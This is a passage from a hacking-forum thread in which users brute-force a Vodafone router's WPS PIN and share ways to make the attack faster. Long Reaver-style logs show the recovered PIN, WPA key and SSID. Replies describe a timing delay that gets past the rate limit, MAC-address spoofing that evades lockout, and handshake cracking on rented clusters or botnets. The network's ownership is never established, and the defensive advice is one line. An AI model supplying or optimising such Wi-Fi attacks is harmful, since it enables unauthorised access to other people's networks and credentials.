[+] p2_index set to 805<br />[+] Pin count advanced: 10805. Max pin attempts: 11000<br />[+] 98.23% complete. Elapsed time: 2d10h16m28s.<br />[+] Estimated Remaining time: 0d0h6m30s<br />[+] Trying pin 86337209.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: 0d:3b:73:7f:da:b1:9a:08:19:c8:23:ab:0f:ba:b9:31<br />[P] PKE: c9:8f:e0:17:06:0f:85:89:ce:3c:71:4e:f5:66:4c:3c:35:e1:ce:d5:1f:29:53:8f:35:fd:a7:2c:2a:f5:bc:4b:5b:a0:91:fc:4c:73:11:db:61:19:82:8d:c6:70:30:1e:60:94:58:66:4e:61:5b:b5:1b:81:ef:11:87:46:db:80:9b:b6:bd:dc:e7:68:dd:3b:ef:39:04:fd:d6:fc:1f:34:08:5d:e1:36:c6:43:0a:63:c3:b1:47:f3:80:59:cb:1c:dc:0b:7c:9b:ae:c7:dd:83:af:15:24:ed:e4:bc:0d:a3:b5:d9:49:bd:91:91:a2:16:3e:5c:7b:21:ef:98:b9:9c:76:73:a0:9a:44:75:71:e6:f8:12:56:0d:10:7f:3d:46:bd:75:14:4d:9a:aa:7d:83:dc:d9:b4:f4:6a:00:24:3b:1f:dd:28:f1:7a:54:f7:ba:dd:a0:b7:f4:92:dd:de:99:2f:0d:66:84:b8:b3:de:a7:ac:bc:bd:ad:da:fe:79:53<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: 49:89:b5:e6:f0:52:68:f8:a8:fe:59:1a:5b:36:d9:c2<br />[P] PKR: 9b:a0:ae:21:30:f7:13:e3:7a:0d:f7:bc:6e:50:e6:f1:5c:bc:47:e7:9e:b1:b4:cb:fc:ff:b1:22:38:2d:1d:9b:4c:89:13:5b:f2:a2:75:9b:2b:e4:7b:93:1d:50:a9:04:51:82:9d:51:e7:0a:f9:82:bd:bd:ac:04:a7:c2:1e:5c:55:1b:d0:15:04:83:5b:85:9b:a8:35:29:47:c0:4d:f3:e0:e5:69:a4:57:fa:77:0d:b5:6d:76:e5:ec:6f:83:7b:68:f9:18:d3:2a:4a:0e:4e:79:c2:ae:d0:1e:db:ef:dd:83:63:0c:be:0f:38:4e:df:68:c7:c1:e2:8f:a6:98:50:23:66:b9:3e:35:ee:2e:1b:17:a7:29:18:6c:94:23:01:f5:b7:e2:b5:48:72:b3:1c:f0:63:ff:df:0a:27:be:ce:e6:11:c0:ba:8d:3d:c9:19:b0:cf:8c:b0:0b:59:f4:d8:c9:40:4a:5b:93:68:28:e0:30:c8:55:88:b9:31:42:61<br />[P] AuthKey: 24:04:09:5a:b0:94:5f:51:2a:3e:c4:1c:7b:18:44:4e:25:9a:20:5f:dc:57:5c:51:99:1f:af:cc:eb:e2:7d:f3<br />[+] Sending M2 message<br />[P] E-Hash1: 97:2e:6d:9c:4c:57:8f:0c:db:b9:8d:fd:69:6e:3b:a9:a6:c9:cd:16:d4:02:9b:c1:90:a5:d5:29:2e:d3:f7:df<br />[P] E-Hash2: 13:34:69:36:6c:e9:3b:c4:f8:2e:6d:53:1c:bc:2a:d4:c7:a6:62:df:ea:41:10:cd:93:26:a2:26:42:35:23:c2<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received M5 message<br />[+] Sending M6 message<br />[+] Received M7 message<br />[+] Sending WSC NACK<br />[+] Sending WSC NACK<br />[+] Pin cracked in 209792 seconds<br />[+] WPS PIN: '86337209'<br />[+] WPA PSK: 'Underc0de'<br />[+] AP SSID: 'VodafoneFFFF'
<br />In 2 days and 10 hours we obtain the correct PIN and with it the AP's configuration without having done absolutely anything.<br /><br />It's true that there are methods to mitigate these attacks, such as the AP Rate Limit that we found here, blocking us every 10 attempts, which really don't solve much, because if we have time we can get the password just the same.<br /><br />Protect yourself: Turn off the WPS on your router.<br /><br />Now, aside from this, I always had a hard time conforming to the rules, so I don't want to jump through the hoop: I want to improve the time of my attack.<br /><br />Elapsed time: 2d10h16m28s<br />
CitarCan we improve it?
<br />Of course we can. We can improve it quite a bit. I managed to improve it to:<br />
Código: text
[+] p2_index set to 804<br />[+] Pin count advanced: 10804. Max pin attempts: 11000<br />[+] Trying pin 86337209.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: 66:c4:e9:b1:3c:5e:92:24:d8:89:0b:bf:9c:c1:de:c8<br />[P] PKE: 70:f6:c8:4f:b8:eb:f0:d4:ad:6b:2a:bc:f0:69:6d:1b:7d:d3:06:5a:69:47:85:54:00:af:75:b5:5f:44:55:01:51:30:71:06:9a:46:6a:aa:b1:bc:19:31:88:a0:78:de:26:7e:4c:6b:de:9b:43:b7:e9:7c:38:32:83:89:1d:9c:28:c3:af:69:d4:fc:3f:de:53:5a:8c:65:dd:ad:42:83:bd:68:87:0e:7c:ea:6b:12:ee:a5:a6:33:58:59:06:88:6e:b1:bf:57:c6:39:09:7b:bb:ac:c1:5b:5e:09:96:e1:22:2e:15:ff:4a:6c:5a:bb:6f:a3:46:82:e5:bd:2b:e1:37:b7:9b:bf:4a:3b:f0:9f:31:d0:a6:36:99:d0:84:83:08:c5:bb:dd:f1:f3:e6:67:5d:ed:85:94:bc:60:f5:06:cd:ec:69:29:9d:f3:16:93:33:b5:e4:e6:97:a6:37:be:23:94:ab:c0:d2:bc:54:89:e7:26:56:e1:f0:20:23:34<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: d7:ca:f8:46:fe:d0:87:4d:48:f0:75:6d:b3:0c:30:67<br />[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02<br />[P] AuthKey: 68:da:45:35:44:6c:04:3f:79:f9:3f:a9:c5:d8:98:73:d7:85:f2:b4:89:93:8f:c4:41:1e:58:c7:7e:2b:75:34<br />[+] Sending M2 message<br />[P] E-Hash1: 3d:e6:ed:23:2b:4f:6b:c1:25:63:ae:ce:b3:67:32:bd:6f:a5:3a:96:47:69:bc:4f:6c:e7:b8:05:8b:3c:c5:be<br />[P] E-Hash2: 7b:26:87:8e:90:9c:c2:3a:46:04:37:6c:bb:00:3c:74:25:41:98:3c:7c:78:df:dd:dc:9c:17:53:0d:ba:f8:c0<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received M5 message<br />[+] Sending M6 message<br />[+] Received WSC NACK<br />[+] Sending WSC NACK<br />[+] p2_index set to 805<br />[+] Pin count advanced: 10805. Max pin attempts: 11000<br />[+] 98.23% complete. Elapsed time: 0d20h55m50s.<br />[+] Estimated Remaining time: 0d0h52m0s<br />[+] Trying pin 31348034.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: 10:06:3f:1c:c9:e5:72:8f:90:4e:42:78:d2:9c:75:f3<br />[P] PKE: 70:f6:c8:4f:b8:eb:f0:d4:ad:6b:2a:bc:f0:69:6d:1b:7d:d3:06:5a:69:47:85:54:00:af:75:b5:5f:44:55:01:51:30:71:06:9a:46:6a:aa:b1:bc:19:31:88:a0:78:de:26:7e:4c:6b:de:9b:43:b7:e9:7c:38:32:83:89:1d:9c:28:c3:af:69:d4:fc:3f:de:53:5a:8c:65:dd:ad:42:83:bd:68:87:0e:7c:ea:6b:12:ee:a5:a6:33:58:59:06:88:6e:b1:bf:57:c6:39:09:7b:bb:ac:c1:5b:5e:09:96:e1:22:2e:15:ff:4a:6c:5a:bb:6f:a3:46:82:e5:bd:2b:e1:37:b7:9b:bf:4a:3b:f0:9f:31:d0:a6:36:99:d0:84:83:08:c5:bb:dd:f1:f3:e6:67:5d:ed:85:94:bc:60:f5:06:cd:ec:69:29:9d:f3:16:93:33:b5:e4:e6:97:a6:37:be:23:94:ab:c0:d2:bc:54:89:e7:26:56:e1:f0:20:23:34<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: 91:db:4a:fb:35:b2:7e:66:dc:e3:6a:a5:6c:00:db:31<br />[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02<br />[P] AuthKey: 17:13:53:db:0a:38:2e:25:8c:ad:9d:d7:55:a7:75:df:91:92:14:ff:ef:8b:e8:de:8e:02:aa:46:35:28:f3:0f<br />[+] Sending M2 message<br />[P] E-Hash1: a4:01:26:3c:70:2a:9b:82:ce:b5:92:c4:6d:3e:51:dd:c5:1b:cb:56:3d:f7:93:94:21:ee:30:ff:3b:27:f0:ba<br />[P] E-Hash2: 75:75:4c:d6:5e:a1:6b:4c:b5:a5:58:e2:b9:d7:f7:51:77:b8:75:84:0a:b1:4f:33:3d:cb:2d:f4:3e:e6:73:0a<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received M5 message<br />[+] Sending M6 message<br />[+] Received M7 message<br />[+] Sending WSC NACK<br />[+] Sending WSC NACK<br />[+] Pin cracked in 75368 seconds<br />[+] WPS PIN: '86337209'<br />[+] WPA PSK: 'Underc0de'<br />[+] AP SSID: 'VodafoneFFFF'<br /><br />real    1256m7.174s<br />user    1m37.880s<br />sys     2m21.980s
<br />
Citar[+] 98.23% complete. Elapsed time: 0d20h55m50s.<br /><br />real    1256m7.174s<br />user    1m37.880s<br />sys     2m21.980s
<br />1256/60=20.93333333333333 hours (20 hours, 56 minutes)<br />I managed to squeeze the attack down to about 38 hours less, which is not bad at all.<br /><br />But... could it be improved further? How do you think I did it? What would you do? [tt]IDEAS!IDEAS!IDEAS!IDEAS!IDEAS!IDEAS!IDEAS![/tt]<br />Participate, we're in a community! As I demonstrate in this post, for rambling I can manage on my own, here I come to do it with more people.<br /><br />**<br />  by rand0m for Underc0de - Distributed under Los enlaces son solo para miembros. Registrate o iniciá sesión (Click to see the details).
Yavi ·
Hey, I don't know much about networks but... did you somehow avoid the restriction that happened every 10 attempts?
Cl0udswX ·
First of all I must congratulate you fully!!<br /><br />Very good post, very well explained and very well researched, thanks for the patience to prepare such good material for us, brother.<br /><br />To improve performance several things come to mind:<br /><br />1.- Improve the signal strength and avoid time lost from discarded frames.<br /><br />2.- Assuming the AP is not hidden and we know the channel in advance, we could disable Hopping and thus avoid losing valuable time.<br /><br />3.- The thing about limiting attempts is somewhat like an unwritten law and the way to do it is like finding the secret flavor of a recipe, that is, you fine-tune the number of consecutive attempts between PIN and PIN (if it blocks us every 10 attempts we could adjust it to only do 9) and the wait time before restarting the attack (which depends on the AP). If we find the correct timing we could beat the ratio of 1 PIN per Min.<br /><br />I'm not entirely sure (I'd have to verify it), but it seems to me that some "Vendors" disable WPS only for the station attacking the AP (that way they avoid DoS attacks), to do this they take the MAC address of the adapter that is firing, so for these cases you could make a script that does the following:<br /><br />1.- Normal attack without modifying the timers<br />2.- Upon receiving the warning that the AP has blocked WPS, save the session.<br />3.- Modify the MAC address and load the previously saved session.<br />4.- Continue with the attack until getting the first part of the PIN to stop receiving negative ACKs.<br /><br />From here it would be easier and faster.<br /><br />Regards.<br /><br />P.S<br /><br />I currently declared myself absent from the forum for work matters, in fact it was @WhiZ who forced me into the forum to read you, and I must say with all sincerity that it has been worth it, very well done @rand0m and I hope to see more posts like this, I leave you a 1+.<br /><br />Topic pinned <Everything about wireless network auditing>.<br /><br /><br /><br />
rand0m ·
Cita de: Cl0udswX en Agosto 08, 2015, 07:02:55 PM<br />1.- Improve the signal strength and avoid time lost from discarded frames.
<br />The signal strength is blocked by concrete and long distance.<br />That thing about avoiding time lost from discarded frames I had never heard. What do you mean?<br />
Cita de: Cl0udswX en Agosto 08, 2015, 07:02:55 PM<br />2.- Assuming the AP is not hidden and we know the channel in advance, we could disable Hopping and thus avoid losing valuable time.
<br />Yes, it would save a lot of time. Knowing the channel in advance and passing it to the tools improves the efficiency of the attacks, since we avoid "searching through the channels" until finding the SSID. The channel is fixed and the beacon is awaited.<br />
Cita de: Cl0udswX en Agosto 08, 2015, 07:02:55 PM<br />3.- The thing about limiting attempts is somewhat like an unwritten law and the way to do it is like finding the secret flavor of a recipe, that is, you fine-tune the number of consecutive attempts between PIN and PIN (if it blocks us every 10 attempts we could adjust it to only do 9) and the wait time before restarting the attack (which depends on the AP). If we find the correct timing we could beat the ratio of 1 PIN per Min.
<br />Bingo! The difference between the first result and the second was fine-tuning the consecutive attempts between PIN and PIN by putting a delay of 15 seconds between attempt and attempt. It's not fine-tuned, but I wanted to leave it pending until someone uncovered it.<br />
Los enlaces son solo para miembros. Registrate o iniciá sesión
<br />
Cita de: Cl0udswX en Agosto 08, 2015, 07:02:55 PM<br />I'm not entirely sure (I'd have to verify it), but it seems to me that some "Vendors" disable WPS only for the station attacking the AP (that way they avoid DoS attacks), to do this they take the MAC address of the adapter that is firing, so for these cases you could make a script that does the following:<br /><br />1.- Normal attack without modifying the timers<br />2.- Upon receiving the warning that the AP has blocked WPS, save the session.<br />3.- Modify the MAC address and load the previously saved session.<br />4.- Continue with the attack until getting the first part of the PIN to stop receiving negative ACKs.
<br />Bravo! I tried it, but it seems that the VH4032N that Vodafone distributes in Spain block the response to any client. Literally it "closes itself in the bunker" until 10 minutes have passed. Vulnerable to DoS (Deny the WPS service? It's not what you could consider an attack... severe?)<br />BUT<br />As a good neighbor, once I had access I accessed the router's configuration panel to disable the WPS function to protect it from these attacks, and I found that the client cannot disable WPS on the Vodafone ES VH4032N. I don't know if we could catalog this as a serious vulnerability worth publishing. (I think so)<br />
Cita de: Cl0udswX en Agosto 08, 2015, 07:02:55 PM<br />I currently declared myself absent from the forum for work matters, in fact it was @WhiZ who forced me into the forum to read you, and I must say with all sincerity that it has been worth it, very well done @rand0m and I hope to see more posts like this, I leave you a 1+.<br /><br />Topic pinned <Everything about wireless network auditing>.
<br />Thank you very much, I'm glad both WhiZ and you like it.<br />Some prior knowledge is required to understand it 100%, but with doubts, ideas and proposals I hope the post gets longer (Replies in the style of "Thanks, good contribution" and the like SPAM the post a bit. Instead of watching from afar participate).<br />So, with a smile, we pose an important question:<br />Doubts? Questions?
Cl0udswX ·
CitarThe signal strength is blocked by concrete and long distance. That thing about avoiding time lost from discarded frames I had never heard. What do you mean?
<br /><br />Each PIN attempt is an association attempt, and the exchange consists of management frames that, due to distance problems, overlapping frequencies (cordless phones, microwaves, etc..) could "get damaged" — remember that last "checksum" digit, well that's it, if the checksum doesn't come out valid it gets discarded and it has to be resent and that is time.<br /><br />As for the signal strength, I consider it could be improved by using higher-power antennas and avoiding omnidirectional ones (this if we know with certainty where the AP is)<br /><br />
CitarBravo! I tried it, but it seems that the VH4032N that Vodafone distributes in Spain block the response to any client. Literally it "closes itself in the bunker" until 10 minutes have passed. Vulnerable to DoS (Deny the WPS service? It's not what you could consider an attack... severe?)
<br /><br />Well within what DoS is, it could be considered a vulnerability since by blocking any client that wants to use WPS we would be denying access, but in the real world it's not quite correct to consider it an attack.<br /><br />
CitarAs a good neighbor, once I had access I accessed the router's configuration panel to disable the WPS function to protect it from these attacks, and I found that the client cannot disable WPS on the Vodafone ES VH4032N. I don't know if we could catalog this as a serious vulnerability worth publishing. (I think so)
<br /><br />Honestly that part did worry me quite a bit, I mean that the user cannot disable WPS  :o :o :o<br />I consider that it is indeed a vulnerability and they should give the telecom guys a hard time on twitter.<br /><br />In my country we have an ISP that distributed the access points preconfigured with WEP, the same passphrase for everyone "tricombda2010" and the same AP name, and here we ran a strong campaign on social networks, we sent emails, calls to technical support and in the end they changed that practice.<br /><br />@Random brother, the "Thanks, good contribution" type comments are perhaps the way some people raise their message counter, but there are others who, despite not fully understanding your contribution, still feel grateful for your time, so don't limit them.<br /><br />I invite everyone to ask and contribute new ways to fine-tune the attack.<br /><br />A hug and very well done.<br /><br /><br /><br />
c0n ·
Cita de: rand0m en Agosto 08, 2015, 07:58:19 AM<br />[What would you do?<br /><br />  by rand0m for Underc0de - Distributed under Los enlaces son solo para miembros. Registrate o iniciá sesión (Click to see the details).<br />
<br />If my life depended on it and I had little time, I would steal the 4-way handshake by spoofing and crack the password with some cluster computing ring. You can rent a super-cluster of PCs for about 20 dollars a minute. And to crack a WPA of a home or a business I doubt it would take more than half a minute. So if it's so urgent...  10 dollars and you've got it. In the case of having a botnet you save those...<br /><br />Regards<br /><br /><br />
Cl0udswX ·
Cita de: c0n en Agosto 08, 2015, 10:38:53 PM<br />
Cita de: rand0m en Agosto 08, 2015, 07:58:19 AM<br />[What would you do?<br /><br />  by rand0m for Underc0de - Distributed under Los enlaces son solo para miembros. Registrate o iniciá sesión (Click to see the details).<br />
<br />If my life depended on it and I had little time, I would steal the 4-way handshake by spoofing and crack the password with some cluster computing ring. You can rent a super-cluster of PCs for about 20 dollars a minute. And to crack a WPA of a home or a business I doubt it would take more than half a minute. So if it's so urgent...  10 dollars and you've got it. In the case of having a botnet you save those...<br /><br />Regards<br />
<br /><br />It could be, but remember that finding the valid hash is not simply processing power, imagine a passphrase that isn't in any dictionary... You could have all the processing power and you'd never hit the valid one.<br /><br />Another point to keep in mind is that at a certain point breaking the security of a wireless network is a matter of challenging oneself, since at this stage I consider that most people can pay the ISP and capture the HS and pass it to some paid cluster to break it for us — that's kind of sketchy.<br /><br />And the main reason why I wouldn't do it that way is that you simply don't learn anything.<br /><br />But it's still a valid option when it comes to breaching security.<br /><br />Regards brothers.
rand0m ·
Cita de: Cl0udswX en Agosto 08, 2015, 08:36:56 PM<br />Each PIN attempt is an association attempt, and the exchange consists of management frames that, due to distance problems, overlapping frequencies (cordless phones, microwaves, etc..) could "get damaged" — remember that last "checksum" digit, well that's it, if the checksum doesn't come out valid it gets discarded and it has to be resent and that is time.<br />
<br />Actually the checksum is sent along with the last 3 digits of the PIN, so it's sent with the M6. While we're trying the first half the checksum doesn't get sent. It's just a calculation based on the other 7 digits.<br />
Cita de: Cl0udswX en Agosto 08, 2015, 08:36:56 PM<br />@Random brother, the "Thanks, good contribution" type comments are perhaps the way some people raise their message counter, but there are others who, despite not fully understanding your contribution, still feel grateful for your time, so don't limit them.<br />
<br />In my opinion, if they don't contribute doubts or material to the post they are spam that only pads the number of sent messages. The people who really make me happy are not those who say thanks, but those who show interest. I don't intend to limit, but rather that when someone has doubts they keep reading the post, to see if someone already raised it and it was answered.<br />It's uncomfortable to search for answers among "gratitude spam". I think we all agree on that.<br />
Cita de: c0n en Agosto 08, 2015, 10:38:53 PM<br />If my life depended on it and I had little time, I would steal the 4-way handshake by spoofing and crack the password with some cluster computing ring. You can rent a super-cluster of PCs for about 20 dollars a minute. And to crack a WPA of a home or a business I doubt it would take more than half a minute. So if it's so urgent...  10 dollars and you've got it. In the case of having a botnet you save those...<br />
<br />We're brute-forcing the WPS. What you mention has nothing to do with it. We could also have tried the EvilTwin method, but as the post title and the 300 lines that follow it indicate: Brute-forcing against Wi-Fi Protected Setup (WPS)<br />The question you're answering is:<br />
Citarcould it be improved further? How do you think I did it? What would you do?
<br />It would be like answering: "Go in when they're not around and connect via LAN cable, access 192.168.0.1 and see the password".<br />It would finish in less than 5 minutes, but it would stray from the topic of the post.<br />
Cita de: Cl0udswX en Agosto 08, 2015, 11:03:49 PM<br />And the main reason why I wouldn't do it that way is that you simply don't learn anything.
<br />Amen to that. It strays from the topic of the post. Handshake cracking has been done for far too many years for me to focus now on that type of attack.
Cl0udswX ·
CitarActually the checksum is sent along with the last 3 digits of the PIN, so it's sent with the M6. While we're trying the first half the checksum doesn't get sent. It's just a calculation based on the other 7 digits.
<br /><br />You're right, I mixed up the terms, what I mean by the idea that improving the strength improves the attack speed is that at greater distance the frames that are sent (Beacon_Frame) get damaged more frequently and then there's a field in the 802.11 management frame (PIN attempts) called FCS (FrameCheckSequence) and if the frame is damaged it's simply discarded and the resend of it is awaited. This happens invisibly to the application (layer 7) but at the data link level (layer 2) time is lost.<br /><br />In summary, better distance, better attack, more efficiency, more speed.
rand0m ·
Cita de: Cl0udswX en Agosto 09, 2015, 08:18:12 PM<br />At greater distance the frames that are sent (Beacon_Frame) get damaged more frequently and then there's a field in the 802.11 management frame (PIN attempts) called FCS (FrameCheckSequence) and if the frame is damaged it's simply discarded and the resend of it is awaited. This happens invisibly to the application (layer 7) but at the data link level (layer 2) time is lost.
<br />Okay, now I understood it.<br />Unfortunately I don't know how we could get our hands at such a low level through reaver. The only thing that comes to mind is to write a new script with some packet manipulator like Los enlaces son solo para miembros. Registrate o iniciá sesión.
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